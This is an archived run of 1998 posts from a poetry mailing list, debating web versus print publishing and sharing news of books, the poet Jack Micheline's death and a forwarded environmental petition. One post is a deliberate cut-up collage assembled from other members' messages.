My thought is this: a good poem is a good poem--read onscreen, printed out from the computer, or in a book. I particularly love the web & my computer (which CAN go everywhere & hold alot more poetry than a steamer trunk full of books), because I can archive material to my own taste, instead of rummaging through all the books in my storage shed. I hate physical clutter & have a small home. So the computer functions as my own personal library.

Karen

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94. Joel Kuszai
barn burning
Mon 2 Mar 1998

> *I can do a Spicer page (unless...), a page for Peter Ganick, and Linda Russo and I can collaborate on a page for Kathleen Fraser. I'd be*

Do Linda
Spicer Dead

> *willing to do others, too.*

Do others

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95. Pierre Joris
Re: Poems for the Millennium
Mon 2 Mar 1998

Chrsmccrry wrote:

> *I was wondering if there's any news on the second volume of Poems for the Millennium. Is it still in the works? Any info would be appreciated...*

First 2 copies still hot from printer & binder reached Jerry & me friday. Official publication date is Poultry month, i.e. April. More news on the book & events around it soon. Meanwhile I'm sipping some Maker's Mark , fondling the object -- which has a gorgeous cover by Tom Philips (from the Humument) if I may say so myself -- pouring another Bourbon, and wondering what to do with the rest of my life. (Well, Jerry & I have started work on a _Collected Writings of Pablo Picasso_ for Exact Change -- so that will take care of itself...)

Pierre

--
==========
pierre joris 6 madison place albany ny 12202
tel: [redacted] fax: [redacted]
email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
  — La Rochefoucauld
“All my life I’ve heard
one makes many”
  — Charles Olson
==========

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96. **Joel Kuszai**
River of Red Wine (fwd)
Mon 2 Mar 1998

---

i just read a poem today in a notebook by jml to j.m

---------- Forwarded message ----------

Jack Micheline dies AP.state (02-28) 19:04:21

Beat poet Jack Micheline dies

KARYN HUNT, Associated Press Writer

SAN FRANCISCO (AP) -- Jack Micheline, a Beat poet who wrote about society's downtrodden and called himself one of America's last troubadours, has died. He was 68.

Micheline, a close friend of Beat greats Jack Kerouac, Gregory Corso and Bob Kaufman, died Friday of an apparent heart attack on a Bay Area Rapid Transit train leaving San Francisco, where he lived. He had suffered from diabetes for several years, his publisher, Matt Gonzalez, said Saturday.

Micheline wrote more than 20 books of poetry over 40 years, forging a voice that captured the rhythms of street speech and various ethnic dialects -- half jazz, half street hustler. His subject matter was the poor working class and outcasts such as petty criminals, prostitutes, junkies and destitute artists.

In his introduction to Micheline's first book in 1958, ``River of Red Wine,'' Kerouac wrote of his friend's prose, ``He has the swinging free style I like and his sweet lines revive the poetry of open hope in America.''

Born of Russian-Romanian Jewish ancestry in the Bronx, Micheline read ``Studs Lonigan'' as a child and was shaken by the images of injustice and cruelty that he also found on his own streets. Still convinced poets were ``sissies,'' he didn't begin writing prose until the age of 24, according to a biography written by longtime friend Gerald Nicosia.

Micheline identified himself with the tradition of American street poets, fierce rebels who often were driven to barter their poems for food, drink and a night's shelter, Gonzalez said. He also saw the poet as a revolutionary committed to freeing people from the slavery of unfulfilling jobs, roles and relationships.

``He was really the last of the vagabond poets,'' Gonzalez said.

While he achieved acceptance in the literary world, he was known for a prickly exterior and for making drunken scenes at decorous soirees, Nicosia

wrote. He might rush around the room shouting, ``To be alive is to lead an exciting life!'' or make rough passes in offensive language at proper ladies.

In his later years, Micheline lived a spartan life on social security and painted more than he wrote.

He is survived by a son, Vincent Silvaer, and a granddaughter, Nicole Silvaer, both of Tucson, Ariz. Funeral arrangements were pending.

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97. **TBeck131**

Re: magazine concept

Mon 2 Mar 1998

Standard's views on magazine publishing pretty much mirror my own. It has,finally, more to do with epistemology than technology. It also has something to do with risk.I distrust any art that doesn't involve a component of risk. It may be easier to publish by website, but... I'm not saying don't do it. I'm just saying don't just do that. Taking responsibility for the production of a physical magazine issue will teach you things you can't learn on the web. And Standard's written very eloquently about some of what he's learned. I too always advise young writers to start a magazine as a way into finding other people to interact with as artists.

And let me say it again: this list is great if the work done here is translated into actions in the wider world of poetry work and if we can stimulate one another into doing things that we might not otherwise do.We can give one another the encouragement and permission to do what needs to be done. All this expensive technology is a box of tools--nothing more. I'm very pleased to have a new computer after all these years. (Me who once thought my used Selectric was the bee's knees. I miss it actually.) But it's only one tool among many.

Tom Beckett

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98. **TBeck131**

Re: Poems for the Millennium

Mon 2 Mar 1998

In a recent back channel Pierre Joris told me that he received the 1st copy of M-2 this saturday just past.

Tom B.

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99. **Joel Kuszai**
Boy Meets Girl Meets Tractor
Mon 2 Mar 1998

BOY MEETS GIRL MEETS TRACTOR

Geographical location, community fun--
So again, Thanks to Tom Beckett for this week's signature.
Coming next week: many folks who've just posted
public libraries will provide something
apporaching enough money to buy the guise of
communication, but with all of the crying ...

As for "collective actions," one exciting possibility that paperback-sized nontraditional community cannot compete with the singy-songy of the zippy neo-zines or zappy zingzangy zines. To be serious, though, for a minute: the idea that epublication can become against them cyber-publications wrankles the feathers of even the most average bird. But this will continue to be a troublesome option, don't have much (or any) access to web and net modalities. This makes the immediate poetry-community structure has become purely paper culture half-adequate resources for accessing great experiences of the whole wide world can be said about even more inferior work. If you have to set type, line up each page, produce it, hard copy is going to exist in some form for some time. If you're gonna want to present poetry of the highest quality you might be tempted to publish lesser works because there is less market. Still the book is a medium every poet should hate. It limits the *very* uncomfortable fact that seriously, who's competing? Let's not insist on binaries in order to argue sometime within the next year. It could be a frightening situation. But the ambiance and ability to concentrate, etc., & very importantly: their large split between cyber-empowered poets and others; a gradual reduction in necessary intelligence.

Dale: I detect a strategy here, & would like to know more. Are you saying I haven't finished reading through the weekend's posts yet....Very likely publishing equal to technologies that others don't have--access, which really didnt amount to that much money per person. But critique is not simply skepticism---it's informed by, among other things, such as research, detailed description, analysis, and careful consideration. But in any case, i'll make a stronger claim: the larger issues re poetry and poetix really do have to do with how to choose or by lack of financial empowerment, etc., with several possible can curl up in bed with them!) Waiting cause free of charge. Check out those EXPLOSIVE curtains. Spicer was right to associate New Critics & drunkenness & challenge you. I spent $20K on an MFA and never met a sole who had read in a circuit. It cannot foresee overthrow, and it knows nothing of the claims, as andrei

codrescu cluttered magazines, nor should he be read the same way a book is "communicating" with communication - A self-perpetuating organization occurs which is close to communications medium for poetry. But it's not going to remain so. I can live in communities that Im part of as long as Im finally getting a chance to find community truly awe inspiring. What very unrich people are doing that is compatible with those hardwares becoming inaccessible - I also have friends who've done similar things, or sold tv's to replicate. Computers is sort of crazy: that's just another version of those very weird constraints, but most poetry unfolds, beyond first acquaintance, slowly, in the larger community of the printed word separate, denuding it of any remaining connection with person, place, and time....design folks. My first mag was an awkward clutter of poems. But over time, destroying human social interaction. and with the destruction of social--Did somebody say something? digitbrain

dingie is like placing all hope for America in Flint Michigan, which of plenty of mistakes also makes us get into a room, distribute their work, others who get email and internet browsing, small seeing Eye don't quite see how the immediate poetry-community structure was undone, and he's in good company---three nobel laureates have made similar E-publications suck. But it looks like the future, in many ways, for poetry's evolution of a two-tier structure in what had been a purely paper culture from people who are doing the same thing, thinking about the same things, but I'm attached to the textures, smells and visual elegance of new problems to get a magazine going in whatever way they can. The rest will fall into place in editions under 200 copies, & most are hidden in special and we have to take your word for it... didn't sound like it though, not to me...he concludes the essay, and the book, with this: help out those without by web-enabling their work and sending it to e-zines Here's your chance: Any how-to advice? Horror stories? Success stories?

here's andrei codrescu, from the title essay from _the disappearance of the cost_: "But how am I going to get paid?"

How cheaply can it be done? How do you handle high quality, if not magazines, as an argument thousands of years ago between minstrels and scribes. In any way is way off. There are still two communities out there. Printed in mind is likely to remake itself for that requirement. The equivalent of my experience, summonable at will--it's rather akin to the energy income to purchase/upgrade to the hot new machines and programs, others who do inferior work, if you have to set type, line up each page, produce it, copy information, work disappears. It will be done by the machines, which is the intended audience: the lurkers and the lonely

interaction, comes the destruction of art.

listen folks: if you could only SEE the strings attached to those hunks of zines which have a rough beauty to them. At least I like to think so. I'm made *very* uncomfortable by non-person-ness & boredom. Not saying anything here about whether poetry does but whether noone notices. So often nothing happens in academia, I find it became THE bad bugaboo with Plotinus. So much talk about that e zines suffer from - Although if a new e zine can have a global that it is just such divisions which make the challenges of wholeness & that makes of the poem a transitory thing, and poetry written with the web that the kind of concentration required for the reading of poetry is not, the individual dies for the species. The original program. Finis. But

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100. **ScoutEW**

Lets talkabout TED BERRIGAN?

Tue 3 Mar 1998

There seems to be a general lack of writing and scholarship on the great Ted Berrigan. Personally, I feel that "The Sonnets" are amazing and it is totally unfair that the critics have often dismissed him as a "minor" poet living in the shadow of others, a "disciple" of Frank O' Hara, an imitator. -Why is it that some people can't deal with his importance to 20th century poetry? and when will somebody get it together enough to publish "The Sonnets" again in an edition that includes them all (not the Penguin selected poems) I want more. So lets talk:;how do you all feel about Mr. Ted Berrigan or how we can get the "Sonnets" re-published?

Dear Everyone;
it is 12:58 am in Albany
lets talk more about the "master of pathos"
okay.

Erik
Albany, New York
March 3, 1998
Earth
"dot dot dot" TB

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101. **Thomas Bell**

Re: You Too Can Edit a LitMag (or can you?)

Tue 3 Mar 1998

Yes, the thing to do might be to use the typewriter well
tom bell

At 12:42 PM 3/2/98 -0600, Joe Amato/Kass Fleisher wrote:
>rather than issue a once-and-for-all edict re new media (as dale has just
>done, and he's in good company---three nobel laureates have made similar
>claims, as has andrei codrescu):
>
>listen folks: if you could only SEE the strings attached to those hunks of
>paper out there we all call *books*...
>
>well you CAN: just have a close look, real close now, and ask how that
>thing got in your hands, start to finish...
>
>the web, the internet, is part of the digital world---same one that brings
>you (next generation) copier-printers, same one that brings you quark, same
>

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102. **Thomas Bell**
Re: You Too Can Edit a LitMag (or can yo
Tue 3 Mar 1998

At 01:55 PM 3/2/98 CST, Dale M Smith wrote:
>There's no doubt that the same technology that created computers and the
>Internet contributed to advanced photocopiers etc... What I'm arguing
against
>is the supposed fluidity of the physical medium. The book is the essential
>communications medium for poetry. But it's not going to remain so. I can
>imaginge an argument thousands of years ago between minstrels and scribes.
>"The voice is the only true place for poetry, by Gar!"

I always thought there was life (and poetry) before the book.

> *"Duh, Wake up Homey,*
> *Time to spread the word to more people." The question now is whether or not*
> *more is better. Proliferation for the sake of proliferation.*

Yes, enough caviling. Let's _do_ some good work.

 What is the
>selective process under new mediums? Doe it change?

Would wish it would.

> *Will our perceptions of*
> *the poem change in relation to new electronic mediums?*

Would wish they would.

> *My sense of the Interne*
> *t is that it is a vast advertising tool. It's a perfect medium for the*
> *advertising spectacle. A lot of presses use the web to support their books.*
> *Not a bad idea considering the present reality of market publishing pressures.*
> *But as a tool for presenting the poem, the Internet is only a shell of the*
> *book.*

"If I can hone one bit of this vast advertising tool into a piece of art or craft I will not have lived in vain, vaingloriously he [read here "I" to avert email cavil] blurted to screen. - I like "email cavil"! tom bell

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103. Thomas Bell
Re: Atopia
Tue 3 Mar 1998

Returning after a brief absence I find my "heap of sweepings" [see Heraclitus, fragment 124] has mushroomed into Topias, Internet communities, etc.. all in a day's journey. I think I may have started this particular email riff (rift, rumor, cavil?). I had no such intention and can't find it in my original post. tom bell

At 05:01 PM 3/2/98 -0500, Gabriel Gudding wrote:
>On Mon, 2 Mar 1998, Michael J Kelleher wrote:
>
>> I'm writing this from a state university funded workstation in Buffalo,
>> NY. Color me privileged.
>>
>> Poets shouldn't hate the web. Luddism gets you arrested, but little else.
>
>
>One shouldn't hate, period. The day that Luddism gets one arrested will
>be the day that Luddism is Necessary.
>
>
>>
>> It seems to me an exciting time for poetry in that the web creates
>> the potential for not simply new (neophilial) but different FORMS of
>> poetry.
>
>
>Agreed. But the concern that has been expressed here is about hte notion
>that associates Communities with No-placeness. There's a certain frisson
>found in yoking the two ideas, sure. But Internet Community will never be
>anything more than an oxymoron. Oxymorons are fun. But they're not what

>they say they are: we like them because they're wacky and ironic yokings,
>not because they pretend to be what they say they are. We can all
>pretend, as hard as we are able, that one can have an Atopian Community.
>It's a nice idea, but that's all. Atopia is another name for hell. Read
>the ol Milton. Or don't they do that in Buffalo?
>
>If no readings took place at Black Mountain, you wouldn't have the Black
>Mountain School. STop all readings in Buffalo for two semesters and see
>what happens to the morale and the mettle of that program: it'll puff into
>powder. The keyboard is nothing without that larynx above it.
>
>Gabriel Gudding
>
>

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104. Thomas Bell

Re: what's new? (was: Re: You Too Can Edit a LitMag (or can you)

Tue 3 Mar 1998

I have to side with Joe here. Most of the "epoetry" I've seen is little more than transferring printed text to html or whatever just as the first and tv shows transferred radio, plays, and printed texts to the screen.

I think this leads to a text-based mindset for readers as well as writers.

While fascination with the new, the latest technology, the glitsy or zingy-zangy, etc. seems overpowering right now, it will fade away quite soon. I think there is quality stuff already if one looks.

I think Joe was referring to new ways of writing (thinking) that are in fact not possible on the printed page or at a reading. Just because one can't compose hyperlinked lines for the printed page or to be read aloud does not mean they can't be poetry. The same applies to simultaneous multi-media composition: written and spoken, written and drawn, spoken and visual, moving and moving.
tom bell

At 07:31 PM 3/2/98 -0500, Matthew Kirschenbaum wrote:
>Joe Amato sez:
>
>>but in any case, i'll make a stronger claim: that there are things you can
>>do online wrt poetry and poetix that you plain CAN'T do with books... we
>>already know vice versa is true... but owing to this medium's relative
>>newness, it's not clear yet what all those things are, or might be... and i
>>fully anticipate, as with any new technology, new needs and new problems

to
>>rear their ugly heads...
>
>I dunno Joe, that noise about the new sounds a bit tinny to me; it's just so
>_reflexive_. I mean, what's "new"? -- Pinsky, Rosenberg, Joyce, probably
>others, have been writing in electronic spaces for ten years now . . . I'm
>tempted to argue that we have a surprisingly _clear_ sense of what _a_
>digital poetics is or can be, at least at this particular moment, at least
>as that poetics has been self-consciously articulated by certain of its
>practicioners -- which is not to say that said poetics won't expand or
>shift or dissolve, but where is the poetics that won't? I'm not really
>taking exception to anything you write -- certainly not aligning myself with
>the web sux crowd! Quite the opposite really, I'm marveling at how much
>electronic writing there _is_ out there -- now -- new and not-so-new --
>lying around on disks and drives and wondering if there comes a point where
>what's new doesn't eclipse what we could _know_ from thinking/writing
>about/into what we have -- what's been going around.
>
>Or as I've suggested in other e-places, there's going to come a time, and
>sooner than we think, when the challenge of preserving/porting these
>earliest, oldest e-texts -- say _afternoon_ or _Mindwheel_ -- will force a
>*spectacular* engagement of scholary editing and the art of the hack. Best,
Matt
>
>
>
>
>
>
>==========
==========
>Matthew G. Kirschenbaum University of Virginia
>[redacted] or [redacted] Department of English
>http://www.iath.virginia.edu/~mgk3k/ The Blake Archive | IATH
>
>

↑ Index

105. **Joel Kuszai**
webbed fingers vs. webbed feet
Tue 3 Mar 1998

Mark P. wrote:

"In extension of stuff Tom Beckett has said, and several others have nodded to: I'm made *very* uncomfortable by the fact that the websters don't quite see how the immediate poetry-community structure has become split. This will be a temporary, and rapidly evolving situation. But it is going to exist in some form for some time."

personally, I don't buy that the websters don't quite see this split. and I think it was Miekal who put it best--that the opportunities have really been expanded. I think some of the hostility to the net can be seen as an adverse reaction to the decentralization the web offers. Sure, it's not REAL decentralization. But it has ruined the academic authority over poetry, as we have seen here. It has taken the "centers" of poetic authority (the big city poetry clubs) and the graduate programs, and tossed their authority out the window. Whatever authority those scenes, schools, urban centers, still have is largely in reactionary retreat. Rather than develop a community while participating, the reaction to the "coming community" is a nostalgia for a community constructed by other means:

1. anthologies, which re-code at least temporarily who's in and who's out, are a good way of marking off the territory. Like the academy, which doesn't recognize unjuried publications, the poetry scene can't handle such a widespread invasion (without proper credentials, identifyable formal tactics, having the last name of a famous poet, etc.). Anthologies--are the productive residue of this social-formation process & reconstruct whatever hierarchies are left after this dispersal of power and authority.

2. arbitrary revaluation: I don't like looking at the screen (except tv) so I can't read it, so it'll never get my vote as "serious literature"; there is no judgement giving authority to mediate issues of "quality control" so the whole lot is a mess (i.e. it is too easy, too user friendly, too accessible, too open); i make my books by hand, so they must be better; I write by hand, so it must be more authentic, etc.

certainly many of the people who don't participate here or "officially" "online" do so privately, gaining admittance to the cool private cc. lists and the backchannel networking that makes everything go. so the idea that there is some kind of split is just bullshit. also--since when did the idea of "public access" become a worry to people who are now circling the IBM selectric wagons hoping to ward off a total revolution. unfortunately the "alternative" poetry community that doesn't adapt will be left to the rare book rooms, which in my

experince (in buffalo, ann arbor, east lansing, portland, new york, and sandiego) are usually empty.

by the way, I hate being put in the position of being a defender of that which don't need me to defend-and which i have no interest in defending. But I can't even imagine the anti-digital backlash happening OFF this list--and I find it odd that so many people busy perpetrating it here are busy slamming it--

for my interest, the Small Press Collective and my branch of it, The Student Periodical Club, are still in formation. for a link to all of that see: http://www.acsu.buffalo.edu/~kuszai/

and for me it is all about "education" not as much about poetry. Luckily for me, poetry can be a big part of the educational process, and not because some kid needs to read Milton to know that he's among the slobs sucking it up in the trashcompator of your favorite deathstar. And no, we don't read Milton in Buffalo--there they assume that you read that stuff a long time ago.

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106. J Kimball
Corman
Tue 3 Mar 1998

Would greatly appreciate receiving, backchannel, Cid Corman's contact info, address, phone, E-mail address if there is one. Thanks.

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107. David Israel
publishing & prestige
Tue 3 Mar 1998

---

question: to what extent is the evident quesiness or diffidence abt. web-publishing (vs. paperbook-publishing) tacitly related to issues of prestige? -- (e.g., higher prestige now associated w/ the latter) d.i.

↑ Index

108. George Bowering
Re: Writing in Public
Tue 3 Mar 1998

What about Han Shan? He used to write his poem/characters on rocks on the mountainside. Of course, in smalltown B.C. the drunken highschool graduands do that, but not with good poems.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

109. linda russo
AVEC query
Tue 3 Mar 1998

does anyone have Cydney Chadwick's email? I was given an address for her which proved itself unfruitful --

thx.

↑ Index

110. Miekal And
Re: Poems for the Millennium
Tue 3 Mar 1998

said book has finally been transported via goat cart over rocky terrain by an apprentice from the land of bern porter & am now, a few minutes ago getting first glimpse of vol 1, & am happy as new snake skin to see my pal alexei k figuring into 20th century poetics in a way that is finally rightful. said volume is in the bathroom awaiting scholarly invasion, those moments some of the few us country folk have for "reading" poetry. more on where poetry is "written" in the future tho I have just received a rejection slip from a smalltime college literary magazine saying the ongoing collaboration, Literature Nation, interwriting by Maria Damon & myself, is definitively not poetry, so I wont bother to speak to "where" that is written.

rasputin zukofsky

↑ Index

111. rsillima
Malmude & Gilfillan
Tue 3 Mar 1998

I want to second (or third) the wonderfulness of this book, which is really fabulous even if far too small. Malmude, with just three books over a 25 year period, is one of the most underpublished and underappreciated poets of my

generation. Just when you've nearly forgotten about him, something like this comes out and nearly takes the top of your head off.

I may have noted awhile back Merrill Gilfillan's Satin Street (from Asphodel Press, though the rear cover says Moyer Bell) as a similar occasion, another really fine poet whose work is far too hard to locate. [And has anyone thought to publish his translations of Gaspard de la Nuit by Aloysius Bertrand, the first book of prose poems (1826)?]

Books such as these are treasures.

Ron

.....

Date: Mon, 2 Mar 1998 09:19:01 -0500
>From: Jordan Davis <[redacted]>
>Subject: goodbye books
>
>Henyr!
>
>Thank you for mentioning the name of my press, Goodbye Books. In honor of
>the happy coincidence, and as is the custom on this list, please permit me
>to sell something!
>
>Steve Malmude's book got a tremendously respectful (n.b. not fawning!)
>review in Lisa Jarnot's News Letter. John Godfrey said among other things
>that art comes to this poet, not he to it, and that there are certain
>things the poet says which are none of the reader's business!
>
>I'll send out a copy of this letterpress book free to the first person who
>e-mails me with their street address (it'll take me a week or so -- I have
>to go fold them together). The next nine people can have it for $10 ppd.
>
>Read it now or read it later,
>Jordan
>

↑ Index

112. Gabriel Gudding

Re: Atopia

Tue 3 Mar 1998

Okay, Mike. Truces truces!

On Mon, 2 Mar 1998, Michael J. Kelleher wrote:

> *I meant simply to say that here in this placelessness you read my voice and you might call that poetry. Might not. That's up to you. But you see it speaking to you on the screen and thus an extension of me here in Buffalo touches you in Indiana.*

Great point! I'll end with this: what I love about poetry is its coming to _total life_ before an audience: when the poet embraces _us_ with her voice and physical presence. Like, reading Lenin or hearing tapes of Lenin in _no way_ compare to _being there_, to hearing and seeing and smelling and feeling that big bald guy intoning -- and I mean really in-toning -- in the square, to know the presence of state troops only five blocks away, to know that ol Len is scared shitless but to hear him ride that fear and bring us out of ours: I've heard poets do this (hopefully we all have), and getting a voice-cut off the net from Buff's truly amazing website just isn't the same. I fear that we look toward the net the same way we look, with each passing decade and its armamentarium of inventions, toward gadget-x to save us from our increasing ennui.

Without the web you might (gratefully)
> never see my voice nor I (sadly) yours. Granted, it is not the voice of
> the poet speaking into your ear but neither is it not not the voice. It
> is the voice you see. Relations between physical parts physical beings
> change and our senses react to different sensations differently. That's
> the neo in it.

But I could neither punch you nor kiss you. And I miss the option.

Thanks for this, Mike. Made me think. I like doing that on occasion.

GG

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113. **Henry**
Re: web publication, etc.
Tue 3 Mar 1998

So, responding to Jeff, in a sense the medium is the message and the packaging is important - the advantage physical magazines have is that not only do they emerge from/create physical communities, they are a PRODUCT that you can CIRCULATE by hand (gift-giving) in a way that trading URLS can't compare. This is just to add to the pointing out of the VALUE of non-web publishing - not to demean the alternate VALUES of web publishing. - Henry Gould

↑ Index

114. **Rachel Levitsky**

Re: ALERT - Petition to save Endangered Species!

Tue 3 Mar 1998

Annie Finch wrote:
>
> >X-From_: [redacted] Wed Feb 18 06:34:57 1998
> >X-Sender: [redacted]
> >Date: Wed, 18 Feb 1998 05:25:29 -0800
> >From: Debby Ortman <[redacted]>
> >Subject: ALERT - Petition to save Endangered Species!
> >Mime-Version: 1.0
> >To: unlisted-recipients:; (no To-header on input)
> >
> >* START * PETITION TO SAVE ENDANGERED SPECIES * KEEP IT ALIVE!
> >* * PLEASE SIGN AND FORWARD BY APRIL 15th, 1998 * URGENT! * *
> >
> >We're experiencing the greatest rate of extinction since the
> >dinosaurs - up to 50,000 species a year. In the U.S., we
> >have lost over 500 plants and animals since the signing of
> >the Declaration of Independence; 250 of these species have
> >disappeared in the last 15 years. This massive loss of life
> >threatens our own existence, by depriving us of potential
> >cures to deadly diseases and decimating local economies. For
> >example, in the Pacific Northwest, the fishing industry has
> >lost approxmiately $1 billion in the last ten years due to
> >the decline in salmon.
> >
> >The U.S. Congress is now considering two radically different
> >bills to reauthorize the Endangered Species Act. Kempthorne's
> >Extinction bill (S.1180) rolls back 25 years of conservation
> >efforts, sacrificing protections for endangered species to
> >benefit industry. Miller (H.R. 2351) strikes a reasonable
> >compromise, balancing wildlife needs with landowners, while
> >working for the recovery of species.
> >
> >Congress could vote on these bills as early as the end of
> >February, 1998. Please keep our endangered species alive
> >by signing the below petition and forwarding to family,
> >friends, and lists interested in preserving our environment.
> >
> >* HOW TO SIGN THIS PETITION * * * * * * * * * * * * *

> >
> >Copy this entire email (from * START * to * END *) into a
> >new email. After the last signature below, enter a new line,
> >with the next number. Please list your name, city, state
> >and zip code. Forward to your family, friends, coworkers,
> >and relevant lists. Please cc: your message to
> ><[redacted]>.
> >
> >* PETITION TO CONGRESS * * * * * * * * * * * * * * *
> >
> >Dear Member of Congress:
> >
> >We are currently faced with the greatest rate of extinction
> >worldwide since the disappearance of dinosaurs 65 million
> >years ago, losing up to 50,000 species a year. Since 1973,
> >the Endangered Species Act (ESA) has halted the potential
> >extinction of dozens of animals, including the bald eagle,
> >the gray wolf and the California sea otter.
> >
> >Senator Kempthorne's (R-ID) and Chafee (R-RI) are pushing
> >forward a bill, S.1180, that protects the interests of
> >industry at the expense of endangered species. At the same
> >time, Rep. Miller (D-CA) has introduced a moderate bill,
> >H.R. 2351, that strikes a balance between wildlife and
> >landowners without sacrificing protection and recovery
> >for endangered species.
> >
> >Please vote against S.1180 and support H.R. 2351.
> >
> >* SIGNED *
> >
> >1) Christopher Chatto, Santa Barbara, CA 93101
> >2) Chris Mullin, Quincy, MA 02169
> >3) Elizabeth Hitchcock, Washington DC 20003
> >4) Richard Trilsch, Washington, DC 20003
> >5) Adam Ruben, Boston, MA 02111
> >6) Mark Ferrulo, Tallahassee, Fl 32303
> >7) Debbie Ortman, Duluth, MN 55811
> 8) Annie Finch, Cincinnati, OH 45220
> >9) Rachel Levitsky, Boulder, CO 80306
> >
> >* FOR MORE INFORMATION * * * * * * * * * * * * * *

> >
> >http://www.pirg.org/
> >-The State Public Interest Research Groups (PIRGs)
> >
> >[redacted]
> >-general email address for inquiries
> >
> >http://www.pirg.org/enviro/esa/
> >-The PIRG's endangered species pages, including fact sheets
> >on Kempthorne's Extinction Bill (S.1180), Miller's Recovery
> >Bill (H.R. 2351), and what else you can do.
> >
> >http://www.pirg.org/enviro/esa/petition/
> >-A web-based version of this petition, and detailed
> >instructions on how to sign an email petition.
> >
> >* * PLEASE SIGN AND FORWARD BY APRIL 15th, 1998 * URGENT! * *
> >* PETITION TO SAVE ENDANGERED SPECIES * KEEP IT ALIVE! * END *
> >-=+=-=+
> >Christopher Chatto, Internet Organizer e-mail: [redacted]
> >The State Public Interest Research Groups http://www.pirg.org
> >1129 State St #10, Santa Barbara CA 93101 805(p)9630949(f)9658939
> >
>
> _____
> _____
> _____
> Annie Finch
> http://muohio.edu/~finchar
> Assistant Professor of English/Creative Writing
> Miami University
> Oxford, Ohio 45220

↑ Index

115. Rachel Levitsky

Re: poets-in-residence

Tue 3 Mar 1998

I read it as "pet-in-residence"

David R. Israel wrote:
>

> The appended item appeard in "News of the Weird". Am not sure
> what "questions it raises," but meseems it's fodder for anecdotage.
>
> cheers, d.i.
>
> / / /
>
> * Peter Sansom began work on January 19 at his new, two-day-a-
> week job with the big Marks & Spencer department store in
> London. For the next six months under a government grant
> program run by the Poetry Society, he will work for about $1,500
> per month as the store's Poet in Residence. He said he hopes
> generally to raise employees' and customers' level of awareness of
> poetry. A lesser-known Poet in Residence, at London's Botanical
> Gardens, said she has already had an impact on that organization, as
> witnessed by her telephone message recording: "Sarah Maguire can't
> get to the phone/So please leave a message after the tone."
>
> ==========
>
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> newspaper column distributed by Universal Press Syndicate. To
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> to http://www.nine.org/notw/notw.html (That site contains no
> graphics, no photos, no video clips, no audio. Just text. Deal with
> it.)
>
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> supermarket tabloid, and no story that was not intended to be "news,"
> is the source of a News of the Weird story. Chuck Shepherd will try
> to accommodate reasonable and occasional reader requests for sources.

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116. **Pierre Joris**

Re: Writing in Public

Tue 3 Mar 1998

[redacted] wrote:

> *First instance I can think of, though, of a poet writing in public would probably be Pound in the wire cage in the mud at Pisa.*

hmm, I like the image, Ron, & the sense of the cage at Pisa as public place -- but first? maybe first public-jail-writing instance. I spent 2/3 of my 1.5 desultory years in Paris medical school so going around the city locating the cafés writers wrote & were writing in -- hemingway's c.w-l.p, sartre & beauvoir's (&a hundred other's) flore, the surrealists hangouts from the 20s on. When next in Paris, you'all should checkut the tables of the Closerie des Lilas, corner of Boulvard Montparnasse & Boulevard St Michel: all the tables have little brass plaques with the names of the writers used to use them -- for eating, drinking and writing.

Thinking further back: how about calling "public writing" what Tzara did at the Cabaret Voltaire performances in 1916/17: cutting the words up into the hat & taking them out, making & reading a new work in public that way. In a wonderful detournement of such a situtaion is Jackson Mac Low's habit top write continuously while attending other poet's readings, using , I believe in some instances at least one of his procedures(the letters of the reading poet's name in the postion they are in that name used to select words from the reading with those letters in the same position) to create new texts.

As to the web/vs stylus thread: any means whatever to get it down & spread it around is good enough, pecil, typer, selectric, screen, bathroom wall, parchment, Bic, Mont Blanc Fountain Pen, onion skin paper, etc. Genêt wrote several of his novels in jail on toilet paper and had them smuggled out. A writer's job is to write, whatever the means at her disposal.

Pierre

--
==========
pierre joris 6 madison place albany ny 12202
tel: [redacted] fax: [redacted]
email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
  — La Rochefoucauld
“All my life I’ve heard
one makes many”
  — Charles Olson
==========

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117. Jack Foley
FLASHPOINT
Tue 3 Mar 1998

henry GOULD and mark WALLACE respond to joe BRENNAN's "A=R=T
M=E=A=N=S" and Brennan replies ...
mark WALLACE also ponders post-L=A=N=G=U=A=G=E Poets in the new...

FLASHPOINT
(http://webdelsol.com/FLASHPOINT/)
Along the frontier where the arts & politics clash ...

Baraka Brennan Brody Clark Coe Eshleman Gould Haas Hickman Katz Parcelli Scroggins Stuefloten VanderMeer Wallace

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118. sylvester pollet
Re: Poems for the Millennium
Tue 3 Mar 1998

Bravo Pierre (&Jerry)! That means I'd better hurry to finish Vol. 1--I knew this would happen. Sylvester

At 11:05 PM -0400 3/2/98, Pierre Joris wrote:
>Chrsmccrry wrote:
>
>> I was wondering if there's any news on the second volume of Poems for the
>> Millennium. Is it still in the works? Any info would be appreciated...

>>
>>
>
>First 2 copies still hot from printer & binder reached Jerry & me friday.
>Official publication date is Poultry month, i.e. April. More news on the
>book & events around it soon. Meanwhile I'm sipping some Maker's Mark ,
>fondling the object -- which has a gorgeous cover by Tom Philips (from the
>Humument) if I may say so myself -- pouring another Bourbon, and wondering
>what to do with the rest of my life. (Well, Jerry & I have started work on a
>_Collected Writings of Pablo Picasso_ for Exact Change -- so that will take
>care of itself...)
>
>Pierre
>
>--
>==========
>pierre joris 6 madison place albany ny 12202
>tel: [redacted] fax: [redacted]
>email:[redacted]
>http://www.albany.edu/~joris/
>----------
>"What often prevents us from giving ourselves over to
>a single vice is that we have several of them."
> La Rochefoucauld
> All my life I ve heard
>one makes many
> Charles Olson
>==========

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119. Loss Pequen~o Glazier

EPC author pages

Tue 3 Mar 1998

Dear George, Joel, Chris, and others,

It would be terrific to have some help. It's very difficult to do the whole thing under single sail and I agree, development of the author pages are a good way to go - and it is an area where there are immediate needs. This is a space that was original envisioned as benefitting from collective energy. Your suggestions are encouraging.

Perhaps a good way to proceed would be to e-mail me ([redacted]) the name of the author(s) you will do. I could perhaps make an "authors under development" page on the EPC where this could be posted. Once you commit to an author I would think the pages should be submitted to me within, say 2 months. The authors you have mentioned in your posts on this topic are certainly ones we'd like.

The template can be obtained at:
http://writing.upenn.edu/epc/authors/template

Some authors who need to be done in short order are mentioned in the following post, originally sent out to graduate students in the Poetics Program at UB. Note that this list is no more than a quick graph, that some authors not listed have pages under construction, and that of course other suggestions are welcome.

Thanks,
Loss

P.S. Please note that I may not be able to reply to your message for about two weeks. I will reply as soon as I am able, however.
==========
